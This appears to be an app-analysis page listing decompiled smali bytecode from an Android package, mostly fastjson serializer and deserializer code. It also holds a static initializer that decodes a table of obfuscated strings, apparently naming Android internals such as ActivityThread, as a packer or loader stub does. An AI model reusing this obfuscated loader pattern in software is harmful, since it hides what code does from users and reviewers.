                                                62check-cast p2, Ljava/awt/Rectangle;
                                                63const-class p4, Ljava/awt/Rectangle;
                                                65invoke-virtual {p0, p1, p4, p3}, Lcom/alibaba/fastjson/serializer/AwtCodec;->writeClassName(Lcom/alibaba/fastjson/serializer/SerializeWriter;Ljava/lang/Class;C)C
                                                66move-result p3
                                                67iget p4, p2, Ljava/awt/Rectangle;->x:I
                                                69invoke-virtual {p1, p3, v0, p4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeFieldValue(CLjava/lang/String;I)V
                                                70iget p3, p2, Ljava/awt/Rectangle;->y:I
                                                72invoke-virtual {p1, v1, p5, p3}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeFieldValue(CLjava/lang/String;I)V
                                                73iget p3, p2, Ljava/awt/Rectangle;->width:I
                                                75const-string p4, "width"
                                                77invoke-virtual {p1, v1, p4, p3}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeFieldValue(CLjava/lang/String;I)V
                                                78iget p2, p2, Ljava/awt/Rectangle;->height:I
                                                80const-string p3, "height"
                                                82invoke-virtual {p1, v1, p3, p2}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeFieldValue(CLjava/lang/String;I)V
                                                83goto/16 :goto_ab
                                                84cond_75: instance-of p4, p2, Ljava/awt/Color;
                                                85if-eqz p4, :cond_b1
                                                86check-cast p2, Ljava/awt/Color;
                                                87const-class p4, Ljava/awt/Color;
                                                89invoke-virtual {p0, p1, p4, p3}, Lcom/alibaba/fastjson/serializer/AwtCodec;->writeClassName(Lcom/alibaba/fastjson/serializer/SerializeWriter;Ljava/lang/Class;C)C
                                                90move-result p3
                                                92invoke-virtual {p2}, Ljava/awt/Color;->getRed()I
                                                93move-result p4
                                                95const-string p5, "r"
                                                97invoke-virtual {p1, p3, p5, p4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeFieldValue(CLjava/lang/String;I)V
                                                99invoke-virtual {p2}, Ljava/awt/Color;->getGreen()I
                                                100move-result p3
                                                102const-string p4, "g"
                                                104invoke-virtual {p1, v1, p4, p3}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeFieldValue(CLjava/lang/String;I)V
                                                106invoke-virtual {p2}, Ljava/awt/Color;->getBlue()I
                                                107move-result p3
                                                109const-string p4, "b"
                                                111invoke-virtual {p1, v1, p4, p3}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeFieldValue(CLjava/lang/String;I)V
                                                113invoke-virtual {p2}, Ljava/awt/Color;->getAlpha()I
                                                114move-result p3
                                                115if-lez p3, :cond_ab
                                                117invoke-virtual {p2}, Ljava/awt/Color;->getAlpha()I
                                                118move-result p2
                                                120const-string p3, "alpha"
                                                122invoke-virtual {p1, v1, p3, p2}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeFieldValue(CLjava/lang/String;I)V
                                                123goto_ab: const/16 p2, 0x7d
                                                125invoke-virtual {p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                126return-void
                                                127cond_b1: new-instance p1, Lcom/alibaba/fastjson/JSONException;
                                                128new-instance p3, Ljava/lang/StringBuilder;
                                                130invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
                                                132const-string p4, "not support awt class : "
                                                134invoke-virtual {p3, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                136invoke-virtual {p2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                137move-result-object p2
                                                139invoke-virtual {p2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                140move-result-object p2
                                                142invoke-virtual {p3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                144invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                145move-result-object p2
                                                147invoke-direct {p1, p2}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                148throw p1
                                                APIs
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                • android.support.coreui.app._.a
                                                Strings
                                                • \u3075\u3067\u3071\u306e\u3049\u306f\u3076\u3072
                                                • \u3061\u3063\u307d\u3043\u3069\u3063\u3068\u3063\u306b\u3072\u3076
                                                • \u3068\u3067\u306e\u3063\u3041\u3063\u307d\u3043\u3069\u3063\u3068\u3063\u306b\u3072\u3076
                                                • \u605e\u6052\u6058\u6056\u6063\u6052\u6047\u605b\u6076\u605f\u6056\u605e\u6056\u605d\u6047\u6040
                                                • \u6052\u605d\u6057\u6041\u605c\u605a\u6057\u601d\u6052\u6043\u6043\u601d\u6072\u6050\u6047\u605a\u6045\u605a\u6047\u604a\u6067\u605b\u6041\u6056\u6052\u6057
                                                • \u6050\u6046\u6041\u6041\u6056\u605d\u6047\u6072\u6050\u6047\u605a\u6045\u605a\u6047\u604a\u6067\u605b\u6041\u6056\u6052\u6057
                                                • \u6052\u605d\u6057\u6041\u605c\u605a\u6057\u601d\u6052\u6043\u6043\u601d\u607f\u605c\u6052\u6057\u6056\u6057\u6072\u6043\u6058
                                                • \u6052\u605d\u6057\u6041\u605c\u605a\u6057\u601d\u6052\u6043\u6043\u601d\u6072\u6050\u6047\u605a\u6045\u605a\u6047\u604a\u6067\u605b\u6041\u6056\u6052\u6057\u6017\u6072\u6043\u6043\u6071\u605a\u605d\u6057\u6077\u6052\u6047\u6052
                                                • \u605e\u607a\u605d\u605a\u6047\u605a\u6052\u605f\u6072\u6043\u6043\u605f\u605a\u6050\u6052\u6047\u605a\u605c\u605d
                                                • \u605e\u6071\u605c\u6046\u605d\u6057\u6072\u6043\u6043\u605f\u605a\u6050\u6052\u6047\u605a\u605c\u605d
                                                • \u605e\u6072\u605f\u605f\u6072\u6043\u6043\u605f\u605a\u6050\u6052\u6047\u605a\u605c\u605d\u6040
                                                • \u605e\u6072\u6043\u6043\u605f\u605a\u6050\u6052\u6047\u605a\u605c\u605d\u607a\u605d\u6055\u605c
                                                • \u605e\u6072\u6043\u6043\u605f\u605a\u6050\u6052\u6047\u605a\u605c\u605d
                                                • \u605a\u605d\u6055\u605c
                                                • \u6052\u6043\u6043\u607a\u605d\u6055\u605c
                                                • \u6057\u6043\u601e\u605f\u605a\u6051
                                                • \u601d\u605f\u6046\u6052\u601d\u605e\u6043\u605b
                                                • \u605e\u6070\u605f\u6052\u6040\u6040\u607f\u605c\u6052\u6057\u6056\u6041
                                                • \u6050\u6041\u6052\u6057\u605f\u6056\u6040
                                                • \u605e\u6063\u6052\u6050\u6058\u6052\u6054\u6056\u6040
                                                • \u605e\u6052\u6058\u6056\u6072\u6043\u6043\u605f\u605a\u6050\u6052\u6047\u605a\u605c\u605d
                                                Position Instruction Meta Information
                                                1const-string v2, "\u3075\u3067\u3071\u306e\u3049\u306f\u3076\u3072"
                                                2const/4 v3, 0x1
                                                4invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                5move-result-object v2
                                                6sput-object v2, Landroid/support/coreui/app/_;->a:Ljava/lang/String;
                                                8const-string v2, "\u3061\u3063\u307d\u3043\u3069\u3063\u3068\u3063\u306b\u3072\u3076"
                                                9const/4 v3, 0x1
                                                11invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                12move-result-object v2
                                                13sput-object v2, Landroid/support/coreui/app/_;->b:Ljava/lang/String;
                                                15const-string v2, "\u3068\u3067\u306e\u3063\u3041\u3063\u307d\u3043\u3069\u3063\u3068\u3063\u306b\u3072\u3076"
                                                16const/4 v3, 0x1
                                                18invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                19move-result-object v2
                                                20sput-object v2, Landroid/support/coreui/app/_;->c:Ljava/lang/String;
                                                22const-string v2, "\u605e\u6052\u6058\u6056\u6063\u6052\u6047\u605b\u6076\u605f\u6056\u605e\u6056\u605d\u6047\u6040"
                                                23const/4 v3, 0x2
                                                25invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                26move-result-object v2
                                                27sput-object v2, Landroid/support/coreui/app/_;->d:Ljava/lang/String;
                                                29const-string v2, "\u6052\u605d\u6057\u6041\u605c\u605a\u6057\u601d\u6052\u6043\u6043\u601d\u6072\u6050\u6047\u605a\u6045\u605a\u6047\u604a\u6067\u605b\u6041\u6056\u6052\u6057"
                                                30const/4 v3, 0x2
                                                32invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                33move-result-object v2
                                                34sput-object v2, Landroid/support/coreui/app/_;->e:Ljava/lang/String;
                                                36const-string v2, "\u6050\u6046\u6041\u6041\u6056\u605d\u6047\u6072\u6050\u6047\u605a\u6045\u605a\u6047\u604a\u6067\u605b\u6041\u6056\u6052\u6057"
                                                37const/4 v3, 0x2
                                                39invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                40move-result-object v2
                                                41sput-object v2, Landroid/support/coreui/app/_;->f:Ljava/lang/String;
                                                43const-string v2, "\u6052\u605d\u6057\u6041\u605c\u605a\u6057\u601d\u6052\u6043\u6043\u601d\u607f\u605c\u6052\u6057\u6056\u6057\u6072\u6043\u6058"
                                                44const/4 v3, 0x2
                                                46invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                47move-result-object v2
                                                48sput-object v2, Landroid/support/coreui/app/_;->g:Ljava/lang/String;
                                                50const-string v2, "\u6052\u605d\u6057\u6041\u605c\u605a\u6057\u601d\u6052\u6043\u6043\u601d\u6072\u6050\u6047\u605a\u6045\u605a\u6047\u604a\u6067\u605b\u6041\u6056\u6052\u6057\u6017\u6072\u6043\u6043\u6071\u605a\u605d\u6057\u6077\u6052\u6047\u6052"
                                                51const/4 v3, 0x2
                                                53invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                54move-result-object v2
                                                55sput-object v2, Landroid/support/coreui/app/_;->h:Ljava/lang/String;
                                                57const-string v2, "\u605e\u607a\u605d\u605a\u6047\u605a\u6052\u605f\u6072\u6043\u6043\u605f\u605a\u6050\u6052\u6047\u605a\u605c\u605d"
                                                58const/4 v3, 0x2
                                                60invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                61move-result-object v2
                                                62sput-object v2, Landroid/support/coreui/app/_;->i:Ljava/lang/String;
                                                64const-string v2, "\u605e\u6071\u605c\u6046\u605d\u6057\u6072\u6043\u6043\u605f\u605a\u6050\u6052\u6047\u605a\u605c\u605d"
                                                65const/4 v3, 0x2
                                                67invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                68move-result-object v2
                                                69sput-object v2, Landroid/support/coreui/app/_;->j:Ljava/lang/String;
                                                71const-string v2, "\u605e\u6072\u605f\u605f\u6072\u6043\u6043\u605f\u605a\u6050\u6052\u6047\u605a\u605c\u605d\u6040"
                                                72const/4 v3, 0x2
                                                74invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                75move-result-object v2
                                                76sput-object v2, Landroid/support/coreui/app/_;->k:Ljava/lang/String;
                                                78const-string v2, "\u605e\u6072\u6043\u6043\u605f\u605a\u6050\u6052\u6047\u605a\u605c\u605d\u607a\u605d\u6055\u605c"
                                                79const/4 v3, 0x2
                                                81invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                82move-result-object v2
                                                83sput-object v2, Landroid/support/coreui/app/_;->l:Ljava/lang/String;
                                                85const-string v2, "\u605e\u6072\u6043\u6043\u605f\u605a\u6050\u6052\u6047\u605a\u605c\u605d"
                                                86const/4 v3, 0x2
                                                88invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                89move-result-object v2
                                                90sput-object v2, Landroid/support/coreui/app/_;->m:Ljava/lang/String;
                                                92const-string v2, "\u605a\u605d\u6055\u605c"
                                                93const/4 v3, 0x2
                                                95invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                96move-result-object v2
                                                97sput-object v2, Landroid/support/coreui/app/_;->n:Ljava/lang/String;
                                                99const-string v2, "\u6052\u6043\u6043\u607a\u605d\u6055\u605c"
                                                100const/4 v3, 0x2
                                                102invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                103move-result-object v2
                                                104sput-object v2, Landroid/support/coreui/app/_;->o:Ljava/lang/String;
                                                106const-string v2, "\u6057\u6043\u601e\u605f\u605a\u6051"
                                                107const/4 v3, 0x2
                                                109invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                110move-result-object v2
                                                111sput-object v2, Landroid/support/coreui/app/_;->p:Ljava/lang/String;
                                                113const-string v2, "\u601d\u605f\u6046\u6052\u601d\u605e\u6043\u605b"
                                                114const/4 v3, 0x2
                                                116invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                117move-result-object v2
                                                118sput-object v2, Landroid/support/coreui/app/_;->q:Ljava/lang/String;
                                                120const-string v2, "\u605e\u6070\u605f\u6052\u6040\u6040\u607f\u605c\u6052\u6057\u6056\u6041"
                                                121const/4 v3, 0x2
                                                123invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                124move-result-object v2
                                                125sput-object v2, Landroid/support/coreui/app/_;->r:Ljava/lang/String;
                                                127const-string v2, "\u6050\u6041\u6052\u6057\u605f\u6056\u6040"
                                                128const/4 v3, 0x2
                                                130invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                131move-result-object v2
                                                132sput-object v2, Landroid/support/coreui/app/_;->s:Ljava/lang/String;
                                                134const-string v2, "\u605e\u6063\u6052\u6050\u6058\u6052\u6054\u6056\u6040"
                                                135const/4 v3, 0x2
                                                137invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                138move-result-object v2
                                                139sput-object v2, Landroid/support/coreui/app/_;->t:Ljava/lang/String;
                                                141const-string v2, "\u605e\u6052\u6058\u6056\u6072\u6043\u6043\u605f\u605a\u6050\u6052\u6047\u605a\u605c\u605d"
                                                142const/4 v3, 0x2
                                                144invoke-static {v2, v3}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                145move-result-object v2
                                                146sput-object v2, Landroid/support/coreui/app/_;->u:Ljava/lang/String;
                                                147return-void
                                                Cross References
                                                APIs
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                Strings
                                                • lexer
                                                • _asm_prefix__
                                                • [C
                                                • matchField
                                                • ([C)Z
                                                • _asm
                                                • matchedCount
                                                • getResolveStatus
                                                • ()I
                                                • ()
                                                • getLastResolveTask
                                                • resolveTask
                                                • getContext
                                                • ownerContext
                                                • (Ljava/lang/String;)
                                                • getFieldDeserializer
                                                • fieldDeserializer
                                                • setResolveStatus
                                                • (I)V
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;",
                                                4"Lcom/alibaba/fastjson/asm/MethodVisitor;",
                                                5"Lcom/alibaba/fastjson/asm/Label;",
                                                6"Lcom/alibaba/fastjson/util/FieldInfo;",
                                                7"Ljava/lang/Class<",
                                                8"*>;I)V"
                                                9}
                                                10.end annotation
                                                11move-object/from16 v6, p1
                                                12move-object/from16 v7, p2
                                                13move-object/from16 v8, p4
                                                14new-instance v0, Lcom/alibaba/fastjson/asm/Label;
                                                16invoke-direct {v0}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                17new-instance v9, Lcom/alibaba/fastjson/asm/Label;
                                                19invoke-direct {v9}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                21const-string v1, "lexer"
                                                23invoke-virtual {v6, v1}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                24move-result v1
                                                25const/16 v10, 0x19
                                                27invoke-interface {v7, v10, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                28const/4 v11, 0x0
                                                30invoke-interface {v7, v10, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                32invoke-static/range {p1 .. p1}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$300(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Ljava/lang/String;
                                                33move-result-object v1
                                                34new-instance v2, Ljava/lang/StringBuilder;
                                                36invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                38iget-object v3, v8, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                40invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                42const-string v3, "_asm_prefix__"
                                                44invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                46invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                47move-result-object v2
                                                48const/16 v3, 0xb4
                                                50const-string v4, "[C"
                                                52invoke-interface {v7, v3, v1, v2, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                54sget-object v1, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                55const/16 v12, 0xb6
                                                57const-string v2, "matchField"
                                                59const-string v3, "([C)Z"
                                                61invoke-interface {v7, v12, v1, v2, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                62const/16 v1, 0x9a
                                                64invoke-interface {v7, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                65const/4 v13, 0x1
                                                67invoke-interface {v7, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                68new-instance v1, Ljava/lang/StringBuilder;
                                                70invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                72iget-object v2, v8, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                74invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                76const-string v2, "_asm"
                                                78invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                80invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                81move-result-object v1
                                                83invoke-virtual {v6, v1}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                84move-result v1
                                                85const/16 v14, 0x3a
                                                87invoke-interface {v7, v14, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                88const/16 v1, 0xa7
                                                90invoke-interface {v7, v1, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                92invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                93move-object/from16 v15, p0
                                                94move/from16 v5, p6
                                                96invoke-direct {v15, v7, v6, v5}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_setFlag(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;I)V
                                                98const-string v0, "matchedCount"
                                                100invoke-virtual {v6, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                101move-result v1
                                                102const/16 v2, 0x15
                                                104invoke-interface {v7, v2, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                105const/4 v1, 0x4
                                                107invoke-interface {v7, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                108const/16 v1, 0x60
                                                110invoke-interface {v7, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                112invoke-virtual {v6, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                113move-result v0
                                                114const/16 v1, 0x36
                                                116invoke-interface {v7, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                117move-object/from16 v0, p0
                                                118move-object/from16 v1, p1
                                                119move-object/from16 v2, p2
                                                120move-object/from16 v3, p4
                                                121move-object/from16 v4, p5
                                                123invoke-direct/range {v0 .. v5}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_deserObject(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Ljava/lang/Class;I)V
                                                125invoke-interface {v7, v10, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                127sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                129const-string v1, "getResolveStatus"
                                                131const-string v2, "()I"
                                                133invoke-interface {v7, v12, v0, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                135invoke-static {v13}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                136move-result-object v0
                                                138invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                139const/16 v0, 0xa0
                                                141invoke-interface {v7, v0, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                143invoke-interface {v7, v10, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                145sget-object v0, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                146new-instance v1, Ljava/lang/StringBuilder;
                                                148invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                150const-string v2, "()"
                                                152invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                153const-class v3, Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;
                                                155invoke-static {v3}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                156move-result-object v3
                                                158invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                160invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                161move-result-object v1
                                                163const-string v3, "getLastResolveTask"
                                                165invoke-interface {v7, v12, v0, v3, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                167const-string v0, "resolveTask"
                                                169invoke-virtual {v6, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                170move-result v1
                                                172invoke-interface {v7, v14, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                174invoke-virtual {v6, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                175move-result v1
                                                177invoke-interface {v7, v10, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                179invoke-interface {v7, v10, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                181sget-object v1, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                182new-instance v3, Ljava/lang/StringBuilder;
                                                184invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                186invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                187const-class v2, Lcom/alibaba/fastjson/parser/ParseContext;
                                                189invoke-static {v2}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                190move-result-object v2
                                                192invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                194invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                195move-result-object v2
                                                197const-string v3, "getContext"
                                                199invoke-interface {v7, v12, v1, v3, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                200const-class v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;
                                                202invoke-static {v1}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                203move-result-object v1
                                                204const-class v2, Lcom/alibaba/fastjson/parser/ParseContext;
                                                206invoke-static {v2}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                207move-result-object v2
                                                208const/16 v3, 0xb5
                                                210const-string v4, "ownerContext"
                                                212invoke-interface {v7, v3, v1, v4, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                214invoke-virtual {v6, v0}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                215move-result v0
                                                217invoke-interface {v7, v10, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                219invoke-interface {v7, v10, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                221iget-object v0, v8, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                223invoke-interface {v7, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                224const-class v0, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;
                                                226invoke-static {v0}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                227move-result-object v0
                                                228new-instance v1, Ljava/lang/StringBuilder;
                                                230invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                232const-string v2, "(Ljava/lang/String;)"
                                                234invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                235const-class v2, Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;
                                                237invoke-static {v2}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                238move-result-object v2
                                                240invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                242invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                243move-result-object v1
                                                245const-string v2, "getFieldDeserializer"
